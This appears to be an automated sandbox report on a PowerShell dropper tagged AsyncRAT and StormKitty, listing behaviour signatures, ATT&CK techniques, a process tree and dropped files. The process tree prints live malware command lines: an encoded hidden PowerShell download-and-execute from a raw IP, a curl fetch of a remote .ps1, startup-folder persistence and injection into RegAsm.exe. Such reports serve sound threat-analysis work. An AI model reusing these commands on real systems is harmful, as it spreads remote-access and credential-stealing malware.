asyncrat | 1c98e715eb65ef733d18ece227297105e5dcea55ab37dc177778da3ff714da21

Analysis

max time kernel
92s
max time network
148s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
03/01/2025, 03:16

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General

Target

1c98e715eb65ef733d18ece227297105e5dcea55ab37dc177778da3ff714da21.ps1
Size

168B
MD5

2dc54835b9c45ed739a864b1732f7cd6
SHA1

7df3a0414a8972dcb6c025f14646d8570a117b40
SHA256

1c98e715eb65ef733d18ece227297105e5dcea55ab37dc177778da3ff714da21
SHA512

42a57f6d58b302e3a239dbb2e1f282d1b8d1446f93bc60e65933da64361a876c238d12b2eae3ab53eaf20f1973888714363e628beb9d718a9f5d827416aea40f

Score

10^/10

asyncrat stormkitty discovery execution rat stealer

Malware Config

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat
StormKitty
StormKitty is an open source info stealer written in C#.
stealer stormkitty

StormKitty payload 1 IoCs

resource	yara_rule
behavioral2/memory/4692-60-0x0000000000400000-0x0000000000704000-memory.dmp	family_stormkitty

Stormkitty family
stormkitty

Blocklisted process makes network request 3 IoCs

flow	pid	Process
5	1108	powershell.exe
8	1108	powershell.exe
17	4944	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4592	powershell.exe
1108	powershell.exe
4944	powershell.exe

Downloads MZ/PE file

Drops startup file 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DeleteApp.url	powershell.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4944 set thread context of 4692	4944	powershell.exe	94

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
4592	powershell.exe
4592	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
1108	powershell.exe
4944	powershell.exe
4944	powershell.exe
4692	RegAsm.exe
4692	RegAsm.exe
4692	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	4592	powershell.exe
Token: SeDebugPrivilege	1108	powershell.exe
Token: SeDebugPrivilege	4944	powershell.exe
Token: SeDebugPrivilege	4692	RegAsm.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4692	RegAsm.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4592 wrote to memory of 1108	4592	powershell.exe	86
PID 4592 wrote to memory of 1108	4592	powershell.exe	86
PID 1108 wrote to memory of 3328	1108	powershell.exe	87
PID 1108 wrote to memory of 3328	1108	powershell.exe	87
PID 3328 wrote to memory of 3808	3328	cmd.exe	88
PID 3328 wrote to memory of 3808	3328	cmd.exe	88
PID 3328 wrote to memory of 4944	3328	cmd.exe	89
PID 3328 wrote to memory of 4944	3328	cmd.exe	89
PID 3808 wrote to memory of 5040	3808	cmd.exe	90
PID 3808 wrote to memory of 5040	3808	cmd.exe	90
PID 4944 wrote to memory of 4724	4944	powershell.exe	91
PID 4944 wrote to memory of 4724	4944	powershell.exe	91
PID 4724 wrote to memory of 4252	4724	csc.exe	92
PID 4724 wrote to memory of 4252	4724	csc.exe	92
PID 4944 wrote to memory of 4692	4944	powershell.exe	94
PID 4944 wrote to memory of 4692	4944	powershell.exe	94
PID 4944 wrote to memory of 4692	4944	powershell.exe	94
PID 4944 wrote to memory of 4692	4944	powershell.exe	94
PID 4944 wrote to memory of 4692	4944	powershell.exe	94
PID 4944 wrote to memory of 4692	4944	powershell.exe	94
PID 4944 wrote to memory of 4692	4944	powershell.exe	94
PID 4944 wrote to memory of 4692	4944	powershell.exe	94

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1c98e715eb65ef733d18ece227297105e5dcea55ab37dc177778da3ff714da21.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4592
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -enc aQB3AHIAIAAtAHUAcwBlAGIAIABoAHQAdABwADoALwAvADEAOAA1AC4AMQA0ADkALgAxADQANgAuADEANgA0AC8AdAByAHcAcwBmAGcALgBwAHMAMQAgAHwAIABpAGUAeAA=
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Drops startup file
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1108
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "C:\Windows\Temp\Modules.bat"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3328
  - - C:\Windows\system32\cmd.exe
      cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3808
    - - C:\Windows\system32\curl.exe
        
        curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/vfrcxq.ps1
        5⤵
        
        PID:5040
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -"
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:4944
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\jz0demgd\jz0demgd.cmdline"
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:4724
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESB95D.tmp" "c:\Users\Admin\AppData\Local\Temp\jz0demgd\CSCF872008EF85B4AECBB688B36E967C51D.TMP"
        6⤵
        
        PID:4252
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
        5⤵
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        
        PID:4692

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
556084f2c6d459c116a69d6fedcc4105

SHA1
633e89b9a1e77942d822d14de6708430a3944dbc

SHA256
88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8

SHA512
0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
f537ae521efb4e130b96c6baef339c61

SHA1
542a0a5af1576420842f9600d6fd37a17d1dfaec

SHA256
85fe9d7c91403c511b7cf060fe3d509510d709b133deb537a407301f71d7264f

SHA512
b1b3aa4adf6039f549bdca35c2ed44d2d80d3142558533eaad327440f77ed801426e35f39425a4973601b85ebe5cfd5dd41e973997cfcddae29fe46d2a09c5f0

Download Submit
C:\Users\Admin\AppData\Local\Temp\RESB95D.tmp

Filesize
1KB

MD5
8cc6f75cee94ec81ebb0affc8f9e6067

SHA1
09899dcda145b49054103dbde53f56af018ce84f

SHA256
f3edf555378d440fa91a3e6691b15b73420fef4f2e0aa2444d7b9c12dd45621f

SHA512
71e6e73fb6e95f320b672871528873b072132c991e93d2e56b1060758096c03cc52ebb1c4b70539029fc1dd53becb0b00e4388c88b9d908942f6cf248e5b5ebf

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gvfl0vtw.aes.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\jz0demgd\jz0demgd.dll

Filesize
9KB

MD5
34bd2b7019b88374f7f90dd59444be5b

SHA1
e9a0d9a954c0154ee4bc2bd1b8795d203add460c

SHA256
a773f14ea742c498c6559856f2bd8604646107ad82623bd7fc4d483ac49e3e3a

SHA512
59e0cf97acfd72de911a98a42bb5d19b7c0b7470fd97e76def3bd404a87cd8390b469077d2d41df2ce403cdd62a4a7c5bc238feea611e1ac9473add2f3b07518

Download Submit
C:\Windows\Temp\Modules.bat

Filesize
3KB

MD5
bb445d197063475c8d78de4f0825753c

SHA1
158a8e3b278affe7c1185aad67683e4253cf53dd

SHA256
7066e4a496d83ee1b677ade06c868a432bb4a0dd364b19ee184147a527b11c10

SHA512
173cd8a56e2fa6e8db33bc13870f8751473251aa80be2235321e62b0f84961e9fd00a236aec63342d73f262dbc7c2a920951a1a8f41707ca6640e673f21c4307

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jz0demgd\CSCF872008EF85B4AECBB688B36E967C51D.TMP

Filesize
652B

MD5
23ba47f7a23ec0f885aaf502e2e2b996

SHA1
ab801d437d6ce12600cf0493cfa8b0994e720762

SHA256
1c55ea2862b6ab6c8f4d66a1b15c32b0c914598d00fcc7b4409952b2a82b73e6

SHA512
a825048e0130d56f03f985c1e20f9704a4c784f54814878764311d8c3e74e049bfe200d727dc2d9f2daeda3faf2dbe4cfdd990c9831f96f1d358322d9a792d8c

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jz0demgd\jz0demgd.0.cs

Filesize
10KB

MD5
b5c3a2d03ff4c721192716f326c77dea

SHA1
6b754fd988ca58865674b711aba76d3c6b2c5693

SHA256
ab42fe5fd08cb87663e130f99f96124fdd37d825d081b9712b0bad8b6f270fac

SHA512
d32e5a98c12b6b85d1913555ea54f837cd0fc647ca945aef9d75ffade06506be1f4a2348827f11c4eeae0796e4156c8f352e3c0f9a6e2cdc93cb501bcdf2c248

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\jz0demgd\jz0demgd.cmdline

Filesize
204B

MD5
9a95f080b96e4e217107cbdb8f0101cd

SHA1
869fbe60e1cac976f7a06b0be3cb5db202fe1592

SHA256
23855ae07dc485f9cccc376ce2c7479e1ab808cc50da50f028b184456f49046f

SHA512
27bd87623dd2f8054ff5caf47dc62c8882abf1c0bc4d8d703d4f7af1a18db9d9aa0b91adf5734d7ffdc47e30913a2a8b6bc05fa8adc3ca1d2deca739e0534010

Download Submit
memory/1108-21-0x00007FFA89BB0000-0x00007FFA8A671000-memory.dmp

Filesize
10.8MB

Download
memory/1108-28-0x00007FFA89BB0000-0x00007FFA8A671000-memory.dmp

Filesize
10.8MB

Download
memory/1108-23-0x00007FFA89BB0000-0x00007FFA8A671000-memory.dmp

Filesize
10.8MB

Download
memory/1108-22-0x00007FFA89BB0000-0x00007FFA8A671000-memory.dmp

Filesize
10.8MB

Download
memory/4592-33-0x00007FFA89BB0000-0x00007FFA8A671000-memory.dmp

Filesize
10.8MB

Download
memory/4592-0-0x00007FFA89BB3000-0x00007FFA89BB5000-memory.dmp

Filesize
8KB

Download
memory/4592-11-0x00007FFA89BB0000-0x00007FFA8A671000-memory.dmp

Filesize
10.8MB

Download
memory/4592-6-0x000001A0F5350000-0x000001A0F5372000-memory.dmp

Filesize
136KB

Download
memory/4692-60-0x0000000000400000-0x0000000000704000-memory.dmp

Filesize
3.0MB

Download
memory/4692-62-0x0000000005DE0000-0x0000000006384000-memory.dmp

Filesize
5.6MB

Download
memory/4692-63-0x0000000006430000-0x00000000064C2000-memory.dmp

Filesize
584KB

Download
memory/4692-64-0x0000000005DC0000-0x0000000005DCA000-memory.dmp

Filesize
40KB

Download
memory/4692-65-0x0000000006B20000-0x0000000006BBC000-memory.dmp

Filesize
624KB

Download
memory/4692-66-0x0000000006BC0000-0x0000000006C26000-memory.dmp

Filesize
408KB

Download
memory/4692-67-0x0000000007120000-0x0000000007142000-memory.dmp

Filesize
136KB

Download
memory/4692-68-0x0000000007150000-0x00000000074A4000-memory.dmp

Filesize
3.3MB

Download
memory/4944-45-0x0000022A4E160000-0x0000022A4E170000-memory.dmp

Filesize
64KB

Download
memory/4944-58-0x0000022A4E1C0000-0x0000022A4E1C8000-memory.dmp

Filesize
32KB

Download
memory/4944-44-0x0000022A689A0000-0x0000022A68A16000-memory.dmp

Filesize
472KB

Download
memory/4944-43-0x0000022A68750000-0x0000022A68794000-memory.dmp

Filesize
272KB

Download